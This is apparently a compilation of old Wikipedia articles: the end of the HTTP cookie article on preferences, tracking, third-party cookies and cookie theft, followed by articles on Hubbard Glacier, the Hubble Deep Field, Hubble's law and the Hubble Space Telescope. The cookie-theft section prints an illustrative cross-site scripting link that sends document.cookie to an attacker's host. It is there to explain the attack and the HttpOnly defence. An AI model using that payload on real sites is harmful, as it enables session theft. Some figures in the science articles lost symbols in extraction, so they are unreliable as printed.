          For example, Google stores the user preferences in a cookie of name PREF. This cookie is created with default values when the user accesses the site for the first time. For example, the cookie value contains the string NR=10, that indicates a default preference of ten hits displayed in each page. If the user changes this number to 20 in the preference page, the server modifies the cookie with NR=20. Every time the user queries the search engine, the cookie is sent to the server along with the query. This way, the server knows how many hits should be shown in each page.


          


          Tracking


          Cookies can also be used for tracking the path of a user while visiting the web pages of a site. This can also be done in part by using the IP address of the computer requesting the page or the referer field of the HTTP header, but cookies allows for a greater precision. This can be done for example as follows:


          
            	If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user; the server creates a random string and sends it as a cookie back to the browser together with the requested page;


            	From this point on, the cookie will be automatically sent by the browser to the server every time a new page from the site is requested; the server sends the page as usual, but also stores the URL of the requested page along with the date/time and the cookie in a log file.

          


          By looking at the log file, it is then possible to find out which pages, and in which sequence, the user has visited. For example, if the log contains some requests done using the cookie id=dfhsiw, these requests all come from the same user. The URL and time/date stored with the cookie allows finding out which pages the user has visited, and at which time.


          


          Third-party cookies


          Images or other objects contained in a Web page may reside in servers different from the one holding the page. In order to show such a page, the browser downloads all these objects, possibly receiving cookies. These cookies are called third-party cookies if the server sending them is located outside the domain of the Web page.


          This condition is common with on-line advertisement. Indeed, web banners are typically stored in servers of the advertising company, which are not in the domain of the Web pages showing them. If third-party cookies are not rejected by the browser, an advertising company can track a user across the sites where it has placed a banner. In particular, whenever a user views a page containing a banner, the browser retrieves the banner from a server of the advertising company. If this server has previously set a cookie, the browser sends it back, allowing the advertising company to link this access with the previous one. By choosing a unique banner URL for every Web page where it is placed or by using the HTTP referer field, the advertising company can then find out which pages the user has viewed. The same technique can be used with web bugs. These, unlike the obvious banners, are images embedded in the Web page that are undetectable by the user (e.g. they are tiny and/or transparent)


          Third-party cookies are used to create an anonymous profile of the user. This allows the advertising company to select the banner to show to a user based on the user's profile. The advertising industry has denied any other use of these profiles.


          Many modern browsers, such as Mozilla Firefox, Internet Explorer and Opera block third party cookies if requested by the user. Internet Explorer version 6 allows a mild form of blocking, called leashing. A leashed cookie is a third-party cookie that is sent by the browser only when accessing a third-party document via the same first-party. For example, if third.com sets a cookie when an image is requested, and this cookie is set for the first time when the user views a document from first.com, the same cookie is not sent if the user downloads a document that contains the same image but the document is on another site other.com, if the cookie is leashed. A leashed cookie is different from a blocked cookie in that it is sent, in this example, if the image is contained in another document from the same site first.com.


          


          Basket


          Some online shopping sites allow a user, even when not logged in, to store a number of items in a "virtual basket". The user starts navigating the site with an empty basket, and can add items to the basket while visiting the site. The list of items the user has chosen can be stored using cookies. For example, the server sends an empty cookie to the browser when the user visits the first page; whenever the user adds an item to the basket, the server adds the name of the item to the cookie.


          This is a very insecure mechanism, because a malicious user can alter the cookie; a much more secure mechanism is to generate a random cookie as under "tracking", and using that as a lookup key in a database stored on the server.


          


          Cookie theft


          The cookie specifications constrain cookies to be sent back only to the servers in the same domain as the server from which they originate. However, the value of cookies can be sent to other servers using means different from the Cookie header.


          In particular, scripting languages such as JavaScript and JScript are usually allowed access to cookie values and have some means to send arbitrary values to arbitrary servers on the Internet. These facts are used in combination with sites allowing users to post HTML content that other users can see.


          As an example, an attacker running the domain example.com may post a comment containing the following link to a popular blog they do not otherwise control:


          
            	<a href="#" onclick="window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>

          


          When another user clicks on this link, the browser executes the piece of code within the onclick attribute, thus replacing the string document.cookie with the list of cookies of the user that are active for the page. As a result, this list of cookies is sent to the example.com server, and the attacker is then able to collect the cookies of other users.


          This type of attack is difficult to detect on the user side, since the script is coming from the same domain that has set the cookie, and the operation of sending the value appears to be authorised by this domain. It is usually considered the responsibility of the administrators running sites where users can post to disallow the posting of such malicious code.


          Cookies are not visible to client-side programs such as JavaScript if they have been sent with the HttpOnly flag. From the point of view of the server, the only difference with respect of the normal case is that the set-cookie header line is added a new field containing the string `HttpOnly':


          
            	Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net; HttpOnly

          


          When the browser receives such a cookie, it is supposed to use it as usual in the following HTTP exchanges, but not to make it visible to client-side scripts. The `HttpOnly` flag is not part of any standard, and is not implemented in all common browsers.


          
            Retrieved from " http://en.wikipedia.org/wiki/HTTP_cookie"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Hubbard Glacier


        
          

          
            
              	Hubbard Glacier
            


            
              	
                [image: Hubbard Glacier]


                
                  Hubbard Glacier
                

              
            


            
              	Type

              	Tidewater/Mountain glacier
            


            
              	Location

              	Alaska, U.S., Yukon, Canada
            


            
              	Coordinates

              	
            


            
              	Length

              	122 km (76 miles)
            


            
              	Terminus

              	Sealevel
            


            
              	Status

              	Stable/Advancing
            

          


          Hubbard Glacier is a tidewater glacier in the U.S. state of Alaska and the Yukon Territory of Canada. From its source in the Yukon, the glacier stretches 122 km (76mi) to the sea at Yakutat Bay and Disenchantment Bay. It is the longest tidewater glacier in Alaska, with an open calving face over ten kilometers (6mi) wide.


          


          Details
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          Hubbard Glaciers longest source, 122 km from its snout, is at about 11,000 feet above sea level at about 61-00N 140-09 W, about eight kilometers west of Mt. Walsh. A shorter tributary glacier begins at the easternmost summit on the Mt. Logan ridge at about 18,300 feet at about 60-35 N 140-22-40 W.


          Before it reaches the sea, Hubbard is joined by the Valerie Glacier to the west, which, through forward surges of its own ice, has contributed to the advance of the ice flow that experts believe will eventually dam the Russell Fiord from Disenchantment Bay waters.


          The Hubbard Glacier ice margin has continued to advance for about a century. In May 1986, the Hubbard Glacier surged forward, blocking the outlet of Russell Fiord and creating "Russell Lake." All that summer the new lake filled with runoff; its water level rose 25 meters, and the decrease in salinity threatened its sea life.


          Around midnight on October 8 the dam began to give way. In the next 24 hours an estimated 5.3km of water gushed through the gap, and the fiord was reconnected to the ocean at its previous level. This was the second largest glacial lake outburst flood (GLOF) in recorded history.


          In spring 2002, the glacier again approached Gilbert Point. It pushed a terminal moraine ahead of its face and closed the opening again in July. On August 14, the terminal moraine was washed away after rains had raised the water level behind the dam it formed to 18 m (61 ft) above sea level. The fiord could become dammed again, and perhaps permanently. If this happens, the fiord could overflow its southern banks and drain through the Situk River instead, threatening trout habitat and a local airport.


          The ice at the foot of Hubbard Glacier is about 400 years old: it takes that long for ice to traverse the length of the glacier. The glacier routinely calves off icebergs the size of a ten-story building. Where the glacier meets the shore, most of the ice is below the waterline, and newly calved icebergs can shoot up quite dramatically, so that ships must keep their distance from it as they ply their way up and down the coast.
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              The Hubble Deep Field.
            

          


          The Hubble Deep Field (HDF) is an image of a small region in the constellation Ursa Major, based on the results of a series of observations by the Hubble Space Telescope. It covers an area 15 arcminutes across, equivalent in angular size to a tennis ball (about 65mm) at a distance of 100 metres and a two-millionth of our sky. The image was assembled from 342 separate exposures taken with the Space Telescope's Wide Field and Planetary Camera 2 over ten consecutive days between December 18 and December 28, 1995.


          The field is so small that only a few foreground stars in the Milky Way lie within it; thus, almost all of the 3,000 objects in the image are galaxies, some of which are among the youngest and most distant known. By revealing such large numbers of very young galaxies, the HDF has become a landmark image in the study of the early universe, and it has been the source of almost 400 scientific papers since it was created.


          Three years after the HDF observations were taken, a region in the south celestial hemisphere was imaged in a similar way and named the Hubble Deep Field South. The similarities between the two regions strengthened the belief that the universe is uniform over large scales and that the Earth occupies a typical region in the universe (the cosmological principle). In 2004 a deeper image, known as the Hubble Ultra Deep Field (HUDF), was constructed from a total of eleven days of observations. The HUDF image is the deepest (most sensitive) astronomical image ever made at visible wavelengths.


          


          Conception


          
            [image: The dramatic improvement in Hubble's imaging capabilities after corrective optics were installed encouraged attempts to obtain very deep images of distant galaxies]

            
              The dramatic improvement in Hubble's imaging capabilities after corrective optics were installed encouraged attempts to obtain very deep images of distant galaxies
            

          


          One of the key aims of the astronomers who designed the Hubble Space Telescope was to use its high optical resolution to study distant galaxies to a level of detail that was not possible from the ground. Positioned above the atmosphere, Hubble avoids atmospheric airglow allowing it to take more sensitive visible and ultraviolet light images than can be obtained with seeing-limited ground-based telescopes (when good adaptive optics correction becomes available in the visible, 10 m ground-based telescopes may become competitive). Although the telescope's mirror suffered from spherical aberration when the telescope was launched in 1990, it could still be used to take images of more distant galaxies than had previously been obtainable. Because light takes billions of years to reach Earth from very distant galaxies, we see them as they were billions of years ago; thus, extending the scope of such research to increasingly distant galaxies allows a better understanding of how they evolve.


          After the spherical aberration was corrected during Space Shuttle mission STS-61 in 1993, the now excellent imaging capabilities of the telescope were used to study increasingly distant and faint galaxies. The Medium Deep Survey (MDS) used the WFPC2 to take deep images of random fields while other instruments were being used for scheduled observations. At the same time, other dedicated programs focused on galaxies that were already known through ground-based observation. All of these studies revealed substantial differences between the properties of galaxies today and those that existed several billion years ago.


          Up to 10% of the HST's observation time is designated as Director's Discretionary (DD) Time, and is typically awarded to astronomers who wish to study unexpected transient phenomena, such as supernovae. Once Hubble's corrective optics were shown to be performing well, Robert Williams, the then director of the Space Telescope Science Institute, decided to devote a substantial fraction of his DD time during 1995 to the study of distant galaxies. A special Institute Advisory Committee recommended that the WFPC2 be used to image a "typical" patch of sky at a high galactic latitude, using several optical filters. A working group was set up to develop and implement the project.


          


          Target selection


          
            [image: The HDF is at the centre of this image, one degree across, which shows the unremarkable nature of this patch of sky.]
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          The field selected for the observations needed to fulfil several criteria. It had to be at a high galactic latitude, because dust and obscuring matter in the plane of the Milky Way's disc prevents observations of distant galaxies. The target field had to avoid known bright sources of visible light (such as foreground stars), and infrared, ultraviolet and X-ray emissions, to facilitate later studies at many wavelengths of the objects in the deep field, and also needed to be in a region with a low background infrared ' cirrus', the diffuse, wispy infrared emission believed to be caused by warm dust grains in cool clouds of hydrogen gas ( H I regions).


          These criteria considerably restricted the field of potential target areas. It was further decided that the target should be in Hubble's 'continuous viewing zones' (CVZs)the areas of sky which are not occulted by the Earth or the moon during Hubble's orbit. The working group decided to concentrate on the northern CVZ, so that northern-hemisphere telescopes, such as the Keck telescopes and the Very Large Array, could conduct follow-up observations.


          Twenty fields satisfying all of these criteria were initially identified, from which three optimal candidate fields were selected, all within the constellation of Ursa Major. Radio snapshot observations ruled out one of these fields because it contained a bright radio source, and the final decision between the other two was made on the basis of the availability of guide stars near the field: Hubble observations normally require a pair of nearby stars on which the telescope's Fine Guidance Sensors can lock during an exposure, but given the importance of the HDF observations, the working group required a second set of back-up guide stars. The field that was eventually selected is located at a right ascension of 12h 36m 49.4s and a declination of +621248.


          


          Observations


          
            [image: The HDF was located in Hubble's northern Continuous Viewing Zone, as shown by this diagram.]

            
              The HDF was located in Hubble's northern Continuous Viewing Zone, as shown by this diagram.
            

          


          Once a field had been selected, an observing strategy had to be developed. An important decision was to determine which filters the observations would use; WFPC2 is equipped with forty-eight filters, including narrowband filters isolating particular emission lines of astrophysical interest, and broadband filters useful for the study of the colours of stars and galaxies. The choice of filters to be used for the HDF depended on the ' throughput' of each filter the total proportion of light that it allows through and the spectral coverage available. Filters with bandpasses overlapping as little as possible were desirable.


          In the end, four broadband filters were chosen, centred at wavelengths of 300 nm (near-ultraviolet), 450 nm (blue light), 606 nm (red light) and 814 nm (near- infrared). Because the quantum efficiency of Hubble's detectors is quite low at 300 nm, the noise in observations at this wavelength is primarily due to CCD noise rather than sky background; thus, these observations could be conducted at times when high background noise would have harmed the efficiency of observations in other passbands.


          Images of the target area in the chosen filters were taken over ten consecutive days, during which Hubble orbited the Earth about 150 times. The total exposure times at each wavelength were 42.7 hours (300 nm), 33.5 hours (450 nm), 30.3 hours (606 nm) and 34.3 hours (814 nm), divided into 342 individual exposures to prevent significant damage to individual images by cosmic rays, which cause bright streaks to appear when they strike CCD detectors.


          


          Data processing


          
            [image: A section of the HDF about 14 arcseconds across in each of the four wavelengths used to construct the final version: 300 nm (top left), 450 nm (top right), 606 nm (bottom left) and 814 nm (bottom right)]
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          The production of a final combined image at each wavelength was a complex process. Bright pixels caused by cosmic ray impacts during exposures were removed by comparing exposures of equal length taken one after the other, and identifying pixels that were affected by cosmic rays in one exposure but not the other. Trails of space debris and artificial satellites were present in the original images, and were carefully removed.


          Scattered light from the Earth was evident in about a quarter of the data frames. This was removed by taking an image affected by scattered light, aligning it with an unaffected image, and subtracting the unaffected image from the affected one. The resulting image was smoothed, and could then be subtracted from the bright frame. This procedure removed almost all of the scattered light from the affected images.


          Once the 342 individual images were cleaned of cosmic-ray hits and corrected for scattered light, they had to be combined. Scientists involved in the HDF observations pioneered a technique called ' drizzling', in which the pointing of the telescope was varied minutely between sets of exposures. Each pixel on the WFPC2 CCD chips recorded an area of sky 0.09 arcseconds across, but by changing the direction in which the telescope was pointing by less than that between exposures, the resulting images were combined using sophisticated image-processing techniques to yield a final angular resolution better than this value. The HDF images produced at each wavelength had final pixel sizes of 0.03985 arcseconds.


          The data processing yielded four monochrome images, one at each wavelength. The combining of these into the full colour images released to the public was a fairly arbitrary process, with one image designated as each of red, green and blue, and the three images combined to give a colour image. Because the wavelengths at which the images were taken do not correspond to the wavelengths of red, green and blue light, the colours in the final image only give an approximate representation of the actual colours of the galaxies in the image; the choice of filters for the HDF (and the majority of Hubble images) was primarily designed to maximize the scientific utility of the observations rather than to create colours corresponding to what the human eye would actually perceive.


          


          Contents of the Deep Field


          The final images revealed a plethora of distant, faint galaxies. About 3,000 distinct galaxies could be identified in the images, with both irregular and spiral galaxies clearly visible, although some galaxies in the field are only a few pixels across. In all, the HDF is thought to contain fewer than ten galactic foreground stars; by far the majority of objects in the field are distant galaxies.


          There are about fifty blue point-like objects in the HDF. Many seem to be associated with nearby galaxies, which together form chains and arcs: these are likely to be regions of intense star formation. Others may be distant quasars. Astronomers initially ruled out the possibility that some of the point-like objects are white dwarfs, because they are too blue to be consistent with theories of white dwarf evolution prevalent at the time. However, more recent work has found that many white dwarfs become bluer as they age, lending support to the idea that the HDF might contain white dwarfs.


          


          Scientific results


          
            [image: Details from the HDF illustrate the wide variety of galaxy shapes, sizes and colours found in the distant universe.]
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          The HDF data provided extremely rich material for cosmologists to analyse and as of 2005, almost 400 papers based on the HDF have appeared in the astronomical literature. One of the most fundamental findings was the discovery of large numbers of galaxies with high redshift values.


          As the universe expands, more distant objects recede from the Earth faster, in what is called the Hubble Flow. The light from very distant galaxies is significantly affected by the cosmological redshift. While quasars with high redshifts were known, very few galaxies with redshifts greater than 1 were known before the HDF images were produced. The HDF, however, contained many galaxies with redshifts as high as 6, corresponding to distances of about 12 billion light-years . (Due to redshift the most distant objects in the HDF are not actually visible in the Hubble images; they can only be detected in images of the HDF taken at longer wavelengths by ground-based telescopes.)


          The HDF galaxies contained a considerably larger proportion of disturbed and irregular galaxies than the local universe; galaxy collisions and mergers were more common in the young universe as it was much smaller than today. It is believed that giant elliptical galaxies form when spirals and irregular galaxies collide.


          The wealth of galaxies at different stages of their evolution also allowed astronomers to estimate the variation in the rate of star formation over the lifetime of the universe. While estimates of the redshifts of HDF galaxies are somewhat crude, astronomers believe that star formation was occurring at its maximum rate 810 billion years ago, and has decreased by a factor of about 10 since then.


          Another important result from the HDF was the very small number of foreground stars present. For years astronomers had been puzzling over the nature of dark matter, mass which seems to be undetectable but which observations implied made up about 90% of the mass of the universe. One theory was that dark matter might consist of Massive Astrophysical Compact Halo Objects ( MACHOs)  faint but massive objects such as red dwarfs and planets in the outer regions of galaxies. The HDF showed, however, that there were not significant numbers of red dwarfs in the outer parts of our galaxy.


          


          Subsequent observations


          
            [image: The Hubble Deep Field South looks very similar to the original HDF, demonstrating the Cosmological Principle.]
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            [image: The Hubble Ultra Deep Field further corroborates this. The smallest, reddest galaxies, about 100, are some of the most distant to have been imaged in an optical telescope.]
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          The HDF is a landmark in observational cosmology and much still remains to be learned from it. Since 1995, the field has been observed by many ground-based telescopes as well as some further space telescopes, at wavelengths from radio to X-ray.


          Very-high redshift objects were discovered within the HDF using a number of groundbased telescopes, in particular via the James Clerk Maxwell Telescope. The high redshift of these objects means that they cannot be seen in visible light and generally are detected in infrared or submillimetre wavelength surveys of the HDF instead.


          Important space-based observations have included those by the Chandra X-ray Observatory and the Infrared Space Observatory (ISO). X-ray observations revealed six sources in the HDF, which were found to correspond to three elliptical galaxies: one spiral galaxy, one active galactic nucleus and one extremely red object, thought to be a distant galaxy containing a large amount of dust absorbing its blue light emissions.


          ISO observations indicated infrared emission from 13 galaxies visible in the optical images, attributed to large quantities of dust associated with intense star formation. Ground-based radio images taken using the VLA revealed seven radio sources in the HDF, all of which correspond to galaxies visible in the optical images.


          1998 saw the creation of an HDF counterpart in the southern celestial hemisphere: the HDF-South. Created using a similar observing strategy, the HDF-S was very similar in appearance to the original HDF. This supports the cosmological principle that at its largest scale the universe is homogenous.
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          Hubble's law is the statement in physical cosmology that the redshift in light coming from distant galaxies is proportional to their distance. The law was first formulated by Edwin Hubble and Milton Humason in 1929 after nearly a decade of observations. It is considered the first observational basis for the expanding space paradigm and today serves as one of the pieces of evidence most often cited in support of the Big Bang. The most recent calculation of the proportionality constant used 2003 data from the satellite WMAP combined with other astronomical data, and yielded a value of 70.1  1.3 ( km/ s)/ Mpc. This value agrees well with that of 72  8 km/s/Mpc obtained in 2001 by using NASA's Hubble Space Telescope. In August, 2006, a less precise figure was obtained independently using data from NASA's orbital Chandra X-ray Observatory: 77 (km/s)/Mpc or about 2.51018 s1 with an uncertainty of  15%.


          


          Discovery


          A decade before Hubble made his observations, a number of physicists and mathematicians had established a consistent theory of the relationship between space and time by using Einstein's field equations of general relativity. Applying the most general principles to the nature of the universe yielded a dynamic solution that conflicted with the then prevailing notion of a static universe.


          


          FLRW equations


          In 1922, Alexander Friedmann derived his Friedmann equations from Einstein's field equations, showing that the universe might expand at a rate calculable by the equations. The parameter used by Friedmann is known today as the scale factor which can be considered as a scale invariant form of the proportionality constant of Hubble's Law. Georges Lematre independently found a similar solution in 1927. The Friedmann equations are derived by inserting the metric for a homogeneous and isotropic universe into Einstein's field equations for a fluid with a given density and pressure. This idea of an expanding spacetime would eventually lead to the Big Bang and Steady State theories of cosmology.


          


          Shape of the universe


          Before the advent of modern cosmology, there was considerable talk about the size and shape of the universe. In 1920, the famous Shapley-Curtis debate took place between Harlow Shapley and Heber D. Curtis over this issue. Shapley argued for a small universe the size of the Milky Way galaxy and Curtis argued that the universe was much larger. The issue was resolved in the coming decade with Hubble's improved observations.


          


          Cepheid variable stars outside of the Milky Way


          
            [image: Edwin Hubble.]

            
              Edwin Hubble.
            

          


          Edwin Powell Hubble did most of his professional astronomical observing work at Mount Wilson Observatory, the world's most powerful telescope at the time. His observations of Cepheid variable stars in spiral nebulae enabled him to calculate the distances to these objects. Surprisingly, these objects were discovered to be at distances which placed them well outside the Milky Way. They continued to be called "nebulae" and it was only gradually that the term "galaxies" took over.


          


          Combining redshifts with distance measurements


          Combining his measurements of galaxy distances with Vesto Slipher's measurements of the redshifts associated with the galaxies, Hubble discovered a rough proportionality of the objects' distances. Though there was considerable scatter (now known to be caused by peculiar velocities), Hubble was able to plot a trend line from the 46 galaxies he studied and obtain a value for the Hubble constant of 500km/s/Mpc (much higher than the currently accepted value due to errors in his distance calibrations). (See cosmic distance ladder for details.)


          In 1958, the first good estimate of H0, 75km/s/Mpc, was published by Allan Sandage, but it would be decades before a consensus was achieved.


          


          The cosmological constant abandoned


          After Hubble's discovery was published, Albert Einstein abandoned his work on the cosmological constant (which he had designed to allow for a static solution to his equations). He later termed this work his "greatest blunder" since the assumption of a static universe had prevented him from predicting the expanding universe. Einstein made a famous trip to Mount Wilson in 1931 to thank Hubble for providing the observational basis for modern cosmology.


          


          Interpretation


          The discovery of the linear relationship between redshift, interpreted as recessional velocity, and distance yields a straightforward mathematical expression for Hubble's Law as follows:


          
            	[image: v = H_0 \, D,]

          


          where


          
            	v is the recessional velocity, typically expressed in km/s.


            	H0 is Hubble's constant and corresponds to the value of H (often termed the Hubble parameter which is a value that is time dependent) in the Friedmann equations taken at the time of observation denoted by the subscript 0. This value is the same throughout the universe for a given comoving time.


            	D is the comoving proper distance from the galaxy to the observer, measured in mega parsecs (Mpc), in the 3-space defined by given cosmological time. (Recession velocity is just v = dD/dt).

          


          


          Observability of parameters


          Strictly speaking, neither v nor D in the formula are directly observable, because they are properties now of a galaxy, whereas our observations refer to the galaxy in the past, at the time that the light we currently see left it.


          For relatively nearby galaxies (redshift z much less than unity), v and D will not have changed much, and v can be estimated using the formula v = zc where c is the speed of light. This gives the empirical relation found by Hubble.


          For distant galaxies, v (or D) cannot be calculated from z without specifying a detailed model for how H changes with time. The redshift is not even directly related to the recession velocity at the time the light set out, but it does have a simple interpretation: (1+z) is the factor by which the universe has expanded while the photon was travelling towards the observer.


          


          Expansion velocity vs relative velocity


          In using Hubble's law to determine distances, only the velocity due to the expansion of the universe can be used. Since gravitationally interacting galaxies move relative to each other independent of the expansion of the universe, these relative velocities, called peculiar velocities, need to be accounted for in the application of Hubble's law.


          The Finger of God effect is one result of this phenomenon discovered in 1938 by Benjamin Kenneally. In systems that are gravitationally bound, such as galaxies or our planetary system, the expansion of space is (more than) annihilated by the attractive force of gravity.


          


          Idealized Hubble's Law


          The mathematical derivation of an idealized Hubble's Law for a uniformly expanding universe is a fairly elementary theorem of geometry in 3-dimensional Cartesian/Newtonian coordinate space, which, considered as a metric space, is entirely homogeneous and isotropic (properties do not vary with location or direction). Simply stated the theorem is this:


          
            	Any two points which are moving away from the origin, each along straight lines and with speed proportional to distance from the origin, will be moving away from each other with a speed proportional to their distance apart.

          


          In fact this applies to non-Cartesian spaces as long as they are locally homogeneous and isotropic; specifically to the negatively- and positively-curved spaces frequently considered as cosmological models (see shape of the universe).


          


          The Ultimate fate and age of the universe


          
            [image: The ultimate fate of the universe and the age of the universe can both be determined by measuring the Hubble constant today and extrapolating with the observed value of the deceleration parameter, uniquely characterized by values of density parameters (Ω). A so-called "closed universe" (Ω>1) comes to an end in a Big Crunch and is considerably younger than its Hubble age. An "open universe" (Ω≤1) expands forever and has an age that is closer its Hubble age. For the accelerating universe that we inhabit, the age of the universe is coincidentally very close to the Hubble age.]
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          The value of the Hubble parameter changes over time either increasing or decreasing depending on the sign of the so-called deceleration parameter q which is defined by


          
            	[image: q = -\left(1+\frac{\dot H}{H^2}\right).]

          


          In a universe with a deceleration parameter equal to zero, it follows that H = 1/t, where t is the time since the Big Bang. A non-zero, time-dependent value of q simply requires integration of the Friedmann equations backwards from the present time to the time when the comoving horizon size was zero.


          It was long thought that q was positive, indicating that the expansion is slowing down due to gravitational attraction. This would imply an age of the universe less than 1/H (which is about 14 billion years). For instance, a value for q of 1/2 (once favoured by most theorists) would give the age of the universe as 2/(3H). The discovery in 1998 that q is apparently negative means that the universe could actually be older than 1/H. In fact, estimates of the age of the universe are, by coincidence, very close to 1/H.


          


          Olbers' paradox


          The expansion of space summarized by the Big Bang interpretation of Hubble's Law is relevant to the old conundrum known as Olbers' paradox: if the universe were infinite, static, and filled with a uniform distribution of stars (notice that this also requires an infinite number of stars), then every line of sight in the sky would end on a star, and the sky would be as bright as the surface of a star. However, the night sky is largely dark. Since the 1600s, astronomers and other thinkers have proposed many possible ways to resolve this paradox, but the currently accepted resolution depends in part upon the Big Bang theory and in part upon the Hubble expansion. In a universe that exists for a finite amount of time, only the light of finitely many stars has had a chance to reach us yet, and the paradox is resolved. Additionally, in an expanding universe distant objects recede from us, which causes the light emanating from them to be redshifted and diminished in brightness. Although both effects contribute, the redshift is the less important of the two; remember the original paradox was couched in terms of a static universe.


          


          Determining the Hubble constant


          The value of the Hubble constant is estimated by measuring the redshift of distant galaxies and then determining the distances to the same galaxies (by some other method than Hubble's law). Uncertainties in the physical assumptions used to determine these distances have caused varying estimates of the Hubble constant. For most of the second half of the 20th century the value of H0 was estimated to be between 50 and 90(km/s)/Mpc.


          


          Disputes over Hubble's constant


          The value of the Hubble constant was the topic of a long and rather bitter controversy between Grard de Vaucouleurs who claimed the value was around 100 and Allan Sandage who claimed the value was near 50.


          In 1996, a debate moderated by John Bahcall between Gustav Tammann and Sidney van den Bergh was held in similar fashion to the earlier Shapley-Curtis debate over these two competing values.


          This difference was partially resolved with the introduction of the CDM model of the universe in the late 1990s.


          


          The CDM model


          With the CDM model observations of high-redshift clusters at X-ray and microwave wavelengths using the Sunyaev-Zel'dovich effect, measurements of anisotropies in the cosmic microwave background radiation, and optical surveys all gave a value of around 70 for the constant.


          


          Using Hubble space telescope data


          In particular the Hubble Key Project (led by Dr. Wendy L. Freedman, Carnegie Observatories) gave the most accurate optical determination in May 2001 with its final estimate of 728(km/s)/Mpc, consistent with a measurement of H0 based upon Sunyaev-Zel'dovich effect observations of many galaxy clusters having a similar accuracy.


          


          Using WMAP data


          The most precise cosmic microwave background radiation determinations were 714(km/s)/Mpc, by WMAP in 2003, and 70.4+1.51.6 (km/s)/Mpc, for measurements up to 2006. The five year release from WMAP in 2008 finds 71.9+2.62.7 ( km/ s)/ Mpc.


          These values arise from fitting a combination of WMAP and other cosmological data to the simplest version of the CDM model. If the data is fitted with more general versions, H0 tends to be smaller and more uncertain: typically around 674 (km/s)/Mpc although some models allow values near 63 (km/s)/Mpc.


          


          Using Chandra X-ray Observatory data


          In August 2006, using NASA's Chandra X-ray Observatory, a team from NASA's Marshall Space Flight Centre (MSFC) found the Hubble constant to be 77 (km/s)/Mpc, with an uncertainty of about 15%. The consistency of the measurements from all these methods lends support to both the measured value of H0 and the CDM model.


          


          Acceleration of the expansion


          A value for q measured from standard candle observations of Type Ia supernovae, which was determined in 1998 to be negative, surprised many astronomers with the implication that the expansion of the universe is currently "accelerating" (although the Hubble factor is still decreasing with time; see the articles on dark energy and the CDM model).


          


          Derivation of the Hubble parameter


          Start with the Friedman equation:


          
            	[image: H^2 \equiv \left(\frac{\dot{a}}{a}\right)^2 = \frac{8 \pi G}{3}\rho - \frac{kc^2}{a^2}+ \frac{\Lambda c^2}{3},]

          


          where H is the Hubble parameter, a is the scale factor, G is the gravitational constant, k is the normalised spatial curvature of the universe and equal to 1, 0, or +1, and  is the cosmological constant.


          


          Matter-dominated universe (with a cosmological constant)


          If the universe is matter-dominated, then the mass density of the universe  can just be taken to include matter so


          
            	[image: \rho = \rho_m(a) = \frac{\rho_{m_{0}}}{a^3},]

          


          where [image: \rho_{m_{0}}] is the density of matter today. We know for nonrelativistic particles that their mass density decreases proportional to the inverse volume of the universe so the equation above must be true. We can also define (see density parameter for m)


          
            	[image: \rho_c = \frac{3 H^2}{8 \pi G};]

          


          
            	[image: \Omega_m \equiv \frac{\rho_{m_{0}}}{\rho_c} = \frac{8 \pi G}{3 H_0^2}\rho_{m_{0}};]

          


          so  = cm / a3. Also, by definition,


          
            	[image: \Omega_k \equiv \frac{-kc^2}{(a_0H_0)^2}]

          


          and


          
            	[image: \Omega_{\Lambda} \equiv \frac{\Lambda c^2}{3H_0^2},]

          


          where the subscript nought refers to the values today, and a0 = 1. Substituting all of this in into the Friedman equation at the start of this section and replacing a with a = 1 / (1 + z) gives


          
            	[image: H^2(z)= H_0^2 \left( \Omega_M (1+z)^{3} + \Omega_k (1+z)^{2} + \Omega_{\Lambda} \right).]

          


          


          Matter- and dark energy-dominated universe


          If the universe is both matter-dominated and dark energy-dominated, then the above equation for the Hubble parameter will also be a function of the equation of state of dark energy. So now:


          
            	 = m(a) + de(a),

          


          where de is the mass density of the dark energy. By definition an equation of state in cosmology is P = wc2, and if we substitute this into the fluid equation, which describes how the mass density of the universe evolves with time,


          
            	[image: \dot{\rho}+3\frac{\dot{a}}{a}\left(\rho+\frac{P}{c^2}\right)=0;]


            	[image: \frac{d\rho}{\rho}=-3\frac{da}{a}\left(1+w\right).]

          


          If w is constant,


          
            	[image: \ln{\rho}=-3\left(1+w\right)\ln{a};]

          


          
            	[image: \rho=a^{-3\left(1+w\right)}.]

          


          Therefore for dark energy with a constant equation of state w, [image: \rho_{de}(a)= \rho_{de0}a^{-3\left(1+w\right)}]. If we substitute this into the Friedman equation in a similar way as before, but this time set k = 0 which is assuming we live in a spatially flat universe, (see Shape of the Universe)


          
            	[image: H^2(z)= H_0^2 \left( \Omega_M (1+z)^{3} + \Omega_{de}(1+z)^{-3\left(1+w \right)} \right).]

          


          If dark energy does not have a constant equation-of-state w, then


          
            	[image: \rho_{de}(a)= \rho_{de0}e^{-3\int\frac{da}{a}\left(1+w(a)\right)},]

          


          and to solve this we must parametrize w(a), for example if w(a) = w0 + wa(1  a), giving


          
            	[image: H^2(z)= H_0^2 \left( \Omega_M a^{-3} + \Omega_{de}a^{-3\left(1+w_0 +w_a \right)}e^{-3w_a(1-a)} \right).]

          


          


          Units derived from the Hubble constant


          


          Hubble time


          The Hubble constant H0 has units of inverse time. We can therefore define Hubble time as 1 / H0. The value of Hubble time in the standard cosmological model is 4.351017 s or 13.8 billion years (Liddle 2003, p. 57).


          


          Hubble length


          The Hubble length is a unit of distance in cosmology, defined as c / H0the speed of light multiplied by the Hubble time. It is equivalent to 4228 million parsecs or 13.8 billion light years. (The numerical value of the Hubble length in light years is, by definition, equal to that of the Hubble time in years.)


          


          Hubble volume


          The Hubble volume is sometimes defined as a volume of the universe with a comoving size of c / H0. The exact definition varies: it is sometimes defined as the volume of a sphere with radius c / H0, or alternatively, a cube of side c / H0. Some cosmologists even use the term Hubble volume to refer to the volume of the observable universe, although this has a radius approximately 3 times larger.
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                  The Hubble Space Telescope as seen from Space Shuttle Discovery during its second servicing mission ( STS-82)
                

              
            


            
              	General information
            


            
              	NSSDC ID

              	1990-037B
            


            
              	Organization

              	NASA/ ESA/ STScI
            


            
              	Launch date

              	April 24, 1990
            


            
              	Deorbited

              	Likely between 2013 and 2021
            


            
              	Mass

              	11,110 kg (24,250 lb)
            


            
              	Type oforbit

              	Near-circular low Earth orbit
            


            
